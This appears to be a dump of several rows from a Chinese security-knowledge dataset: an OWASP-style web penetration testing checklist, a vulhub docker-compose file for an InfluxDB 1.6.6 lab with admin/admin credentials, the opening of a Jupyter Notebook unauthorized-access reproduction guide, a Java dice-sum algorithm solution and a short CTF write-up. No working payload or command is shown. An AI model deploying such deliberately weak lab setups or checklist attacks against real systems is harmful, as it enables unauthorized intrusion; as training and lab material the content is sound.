* 搜索引擎信息收集
* Web服务器指纹识别
* Web服务器元文件信息泄漏
* 枚举Web服务器的应用
* 注释和元数据信息泄漏
* 识别应用的入口
* 映射应用程序的执行路径
* 识别Web应用框架
* 识别Web应用程序
* 映射应用架构
## 配置管理测试
* 忘了和基础设施配置测试
* 应用平台配置测试
* 敏感信息文件扩展处理测试
* 对旧文件、备份和未被引用文件的敏感信息的审查
* 枚举基础设施和应用程序管理界面
* HTTP方法测试
* HTTP强制安全传输测试
* RIA跨域策略测试
## 身份管理测试
* 角色定义测试
* 用户注册流程测试
* 账户配置过程测试
* 账户枚举和可猜测的用户账户测试
* 弱的或未实施的用户策略测试
## 认证测试
* 凭证在加密通道中的传输测试
* 默认用户凭证测试
* 弱锁定机制测试
* 认证模式绕过测试
* 记忆密码功能存在威胁测试
* 浏览器缓存威胁测试
* 弱密码策略测试
* 弱安全问答测试
* 弱密码的更改或重设功能测试
* 在辅助信道中较弱认证测试
## 授权测试
* 目录遍历/文件包含测试
* 绕过授权模式测试
* 权限提升测试
* 不安全对象引用测试
## 会话管理测试
* 会很管理架构绕过测试
* Cookie属性测试
* 会话固定测试
* 会话变量泄漏测试
* 跨站请求伪造CSRF测试
## 输入验证测试
* 反射型跨站脚本测试
* 存储型跨站脚本测试
* HTTP方法篡改测试
* HTTP参数污染测试
* SQL注入测试
* LDAP测试
* ORM注入测试
* XML注入测试
* SSI注入测试
* XPath注入测试
* IMAP/SMTP注入测试
* 代码注入测试
* 命令注入测试
* 缓冲区溢出测试
* 潜伏式漏洞测试
* HTTP拆分/走私测试
## 错误处理测试
* 报错信息测试
* 堆栈轨迹测试
## 加密体系脆弱性测试
* SSL/TLS弱加密、传输层协议缺陷测试
* Padding Oracle攻击测试
* 通过未加密信道发送敏感数据测试
## 业务逻辑测试
* 业务逻辑数据验证测试
* 伪造请求的测试
* 完整性检查的测试
* 处理耗时测试
* 功能使用次数限制
* 工作流程逃逸的测试
* 防御应用程序滥用测试
* 意外文件类型上传测试
* 恶意文件上传测试
## 客户端测试
* 基于DOM的跨站脚本测试
* JavaScript执行测试
* HTML注入测试
* 客户端URL重定向测试
* CSS注入测试
* 客户端资源处理测试
* 跨域资源共享测试
* 跨站Flash测试
* 点击劫持测试
* WebSocket测试
* Web消息测试
* 本地存储测试
|
sec-knowleage
|
version: '2'
services:
web:
image: vulhub/influxdb:1.6.6
environment:
- INFLUXDB_HTTP_AUTH_ENABLED=true
- INFLUXDB_ADMIN_USER=admin
- INFLUXDB_ADMIN_PASSWORD=admin
- INFLUXDB_DB=sample
ports:
- "8086:8086"
|
sec-knowleage
|
# Jupyter Notebook 未授权访问漏洞
Jupyter Notebook（此前被称为 IPython notebook）是一个交互式笔记本，支持运行 40 多种编程语言。
如果管理员未为Jupyter Notebook配置密码，将导致未授权访问漏洞，游客可在其中创建一个console并执行任意Python代码和命令。
## 环境运行
运行测试环境：
```
docker compose up -d
```
运行后，访问`http://your-ip:8888`将看到Jupyter Notebook的Web管理界面，并没有要求填写密码。
## 漏洞复现
选择 new -> terminal 即可创建一个控制台：
直接执行任意命令：
|
sec-knowleage
|
# 60. n 个骰子的点数
## 题目链接
[Lintcode](https://www.lintcode.com/en/problem/dices-sum/)
## 题目描述
把 n 个骰子扔在地上，求点数和为 s 的概率。
<div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/195f8693-5ec4-4987-8560-f25e365879dd.png" width="300px"> </div><br>
## 解题思路
### 动态规划
使用一个二维数组 dp 存储点数出现的次数，其中 dp\[i]\[j] 表示前 i 个骰子产生点数 j 的次数。
空间复杂度：O(N<sup>2</sup>)
```java
public List<Map.Entry<Integer, Double>> dicesSum(int n) {
final int face = 6;
final int pointNum = face * n;
long[][] dp = new long[n + 1][pointNum + 1];
for (int i = 1; i <= face; i++)
dp[1][i] = 1;
for (int i = 2; i <= n; i++)
for (int j = i; j <= pointNum; j++) /* 使用 i 个骰子最小点数为 i */
for (int k = 1; k <= face && k <= j; k++)
dp[i][j] += dp[i - 1][j - k];
final double totalNum = Math.pow(6, n);
List<Map.Entry<Integer, Double>> ret = new ArrayList<>();
for (int i = n; i <= pointNum; i++)
ret.add(new AbstractMap.SimpleEntry<>(i, dp[n][i] / totalNum));
return ret;
}
```
### 动态规划 + 旋转数组
空间复杂度：O(N)
```java
public List<Map.Entry<Integer, Double>> dicesSum(int n) {
final int face = 6;
final int pointNum = face * n;
long[][] dp = new long[2][pointNum + 1];
for (int i = 1; i <= face; i++)
dp[0][i] = 1;
int flag = 1; /* 旋转标记 */
for (int i = 2; i <= n; i++, flag = 1 - flag) {
for (int j = 0; j <= pointNum; j++)
dp[flag][j] = 0; /* 旋转数组清零 */
for (int j = i; j <= pointNum; j++)
for (int k = 1; k <= face && k <= j; k++)
dp[flag][j] += dp[1 - flag][j - k];
}
final double totalNum = Math.pow(6, n);
List<Map.Entry<Integer, Double>> ret = new ArrayList<>();
for (int i = n; i <= pointNum; i++)
ret.add(new AbstractMap.SimpleEntry<>(i, dp[1 - flag][i] / totalNum));
return ret;
}
```
|
sec-knowleage
|
## iMathze (PPC)
In this chall we must connect through ssh to the game and solve 3 mazes and 9 equations (3 for each maze).
At first we tried writing a python script to connect, parse the input and send solution, but the game was drawn in a terminal using escape sequences. It would be troublesome to parse them, so we took different approach. We wrote a program to find a path in the maze and just quickly press arrow keys to navigate in the maze (we even had an old code snippet somewhere to do such things). The input was copy-pasted from terminal (it was fast enough even for the 20s limit).
Unfortunately, due to a bug in the program (literally pressing one arrow key more than necessary) we couldn't obtain the flag ;(. After a lot of thinking we found it just in the moment the ctf has ended.
|
sec-knowleage
|
Subsets and Splits
Top 100 EPUB Books
This query retrieves a limited set of raw data entries that belong to the 'epub_books' category, offering only basic filtering without deeper insights.